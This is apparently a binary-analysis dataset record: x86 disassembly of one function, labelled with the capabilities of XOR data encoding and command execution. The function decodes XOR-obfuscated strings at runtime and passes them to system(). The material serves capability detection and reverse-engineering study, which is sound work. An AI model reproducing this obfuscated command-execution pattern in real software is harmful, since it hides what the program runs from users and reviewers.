Function at 0x407ea4
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov eax, 0x47062d
call fcn.0046ffb4
sub esp, 0x98
push ebx
push esi
push edi
xorps xmm0, xmm0
lea edx, [ebp - 0x20]
push 0x15
pop ecx
xor ebx, ebx
movups xmmword [ebp - 0x20], xmm0
call fcn.0042e33c
movaps xmm0, xmmword [0x524220]
lea edx, [ebp - 0x20]
push 0x16
pop ecx
movups xmmword [ebp - 0x20], xmm0
call fcn.0042e33c
xorps xmm0, xmm0
lea edx, [ebp - 0x20]
push 0x17
pop ecx
movups xmmword [ebp - 0x20], xmm0
call fcn.0042e33c
xorps xmm0, xmm0
lea edx, [ebp - 0x20]
push 5
pop ecx
movups xmmword [ebp - 0x20], xmm0
call fcn.0042e33c
xorps xmm0, xmm0
lea edx, [ebp - 0x20]
push 6
pop ecx
movups xmmword [ebp - 0x20], xmm0
call fcn.0042e33c
movaps xmm0, xmmword [0x524320]
lea edx, [ebp - 0x20]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
call fcn.0042e33c
call fcn.0041214c
mov ah, al
mov byte [ebp - 0x11], bl
xor al, 0x69
mov byte [ebp - 0x1b], ah
mov byte [ebp - 0x18], al
mov cl, ah
mov al, ah
xor cl, 0x44
xor al, 0x73
mov byte [ebp - 0x19], cl
mov byte [ebp - 0x17], al
mov dl, ah
mov al, ah
xor dl, 0x20
xor al, 0x63
mov byte [ebp - 0x1a], dl
mov byte [ebp - 0x16], al
mov al, ah
xor al, 0x6f
mov byte [ebp - 0x12], dl
mov byte [ebp - 0x15], al
mov al, ah
xor al, 0x72
mov byte [ebp - 0x14], al
mov al, ah
push ecx
xor al, 0x64
lea ecx, [ebp - 0x48]
push 9
mov byte [ebp - 0x13], al
call fcn.004123c9
mov ch, byte [ebp - 0x1b]
mov edx, ebx
push 0xf
pop edi
mov cl, byte [ebp + edx - 0x1a]
lea eax, [ebp - 0x48]
xor cl, ch
cmp dword [ebp - 0x34], edi
cmova eax, dword [ebp - 0x48]
mov byte [eax + edx], cl
inc edx
cmp edx, 9
jb 0x407f87
mov dword [ebp - 4], ebx
lea edx, [ebp - 0x48]
mov eax, dword [0x5ae7a8]
cmp dword [ebp - 0x34], edi
push ecx
cmova edx, dword [ebp - 0x48]
lea ecx, [ebp - 0x18]
mov eax, dword [eax + 0x3e48]
mov dword [esp], 0xbf800000
push ebx
push ebx
movss xmm0, dword [eax + 0x1c]
movss dword [ebp - 0x2c], xmm0
call fcn.00431f58
movss xmm0, dword [ebp - 0x2c]
add esp, 0xc
subss xmm0, dword [eax]
mulss xmm0, dword [0x523e40]
call fcn.004392d6
and dword [ebp - 0x30], 0
lea ecx, [ebp - 0x48]
and dword [ebp - 0x2c], 0
lea edx, [ebp - 0x30]
cmp dword [ebp - 0x34], edi
cmova ecx, dword [ebp - 0x48]
push ecx
call fcn.00450bac
pop ecx
test al, al
je 0x4080ae
push dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x70]
call fcn.00412fbf
push ecx
push 0x23
lea ecx, [ebp - 0x28]
mov esi, eax
call fcn.004123c9
mov edx, ebx
mov cl, byte [esi + edx + 1]
lea eax, [ebp - 0x28]
xor cl, byte [esi]
cmp dword [ebp - 0x14], edi
cmova eax, dword [ebp - 0x28]
mov byte [eax + edx], cl
inc edx
cmp edx, 0x23
jb 0x40802c
cmp dword [ebp - 0x14], edi
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
pop ecx
lea ecx, [ebp - 0x28]
call fcn.00412370
push dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0xa4]
call fcn.0041309f
push ecx
push 0x32
lea ecx, [ebp - 0x64]
mov esi, eax
call fcn.004123c9
mov cl, byte [esi + ebx + 1]
lea eax, [ebp - 0x64]
xor cl, byte [esi]
cmp dword [ebp - 0x50], edi
cmova eax, dword [ebp - 0x64]
mov byte [eax + ebx], cl
inc ebx
cmp ebx, 0x32
jb 0x40807b
cmp dword [ebp - 0x50], edi
lea eax, [ebp - 0x64]
cmova eax, dword [ebp - 0x64]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
pop ecx
lea ecx, [ebp - 0x64]
call fcn.00412370
push 4
pop ecx
call fcn.0042e384
lea ecx, [ebp - 0x48]
call fcn.00412370
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret